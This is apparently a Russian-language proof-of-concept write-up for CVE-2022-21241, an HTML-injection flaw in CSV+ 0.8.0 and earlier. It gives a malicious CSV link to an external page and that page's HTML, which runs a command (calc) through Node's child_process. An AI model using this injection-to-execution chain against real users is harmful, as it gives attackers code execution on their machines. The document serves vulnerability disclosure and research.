csv-plus_уязвимость

👻 Уязвимость выполнения произвольного кода в 2 клика.

CVE-2022-21241

⚠
Этот PoC был создан для предупреждения пользователей и исследования уязвимостей в их собственных CSV+, и его использование для атак запрещено.

Уязвимость

Следующие версии уязвимы.

CSV+ <= 0.8.0

Злоумышленники могут выполнить произвольный код, используя функциональность Node.js. Они разместят вредоносный js-код на каком-либо сайте и свяжут его из a-тегов с уязвимостью HTML-инъекции в CSV+.

PoC

Вредоносный csv-файл

<a href='https://electronooooo.htmlbin.net/xsscalc.html'>click me 👻</a>

https://electronooooo.htmlbin.net/xsscalc.html — временная ссылка.

Вредоносный html-файл (calc)

<!DOCTYPE html>
<html>
    <head>
        <script>
            var cmd = "calc";
            require("child_process").exec(cmd);
        </script>
    </head>
    <body>
        Hi :)
    </body>
</html>

csv-plus_vulnerability

Популярное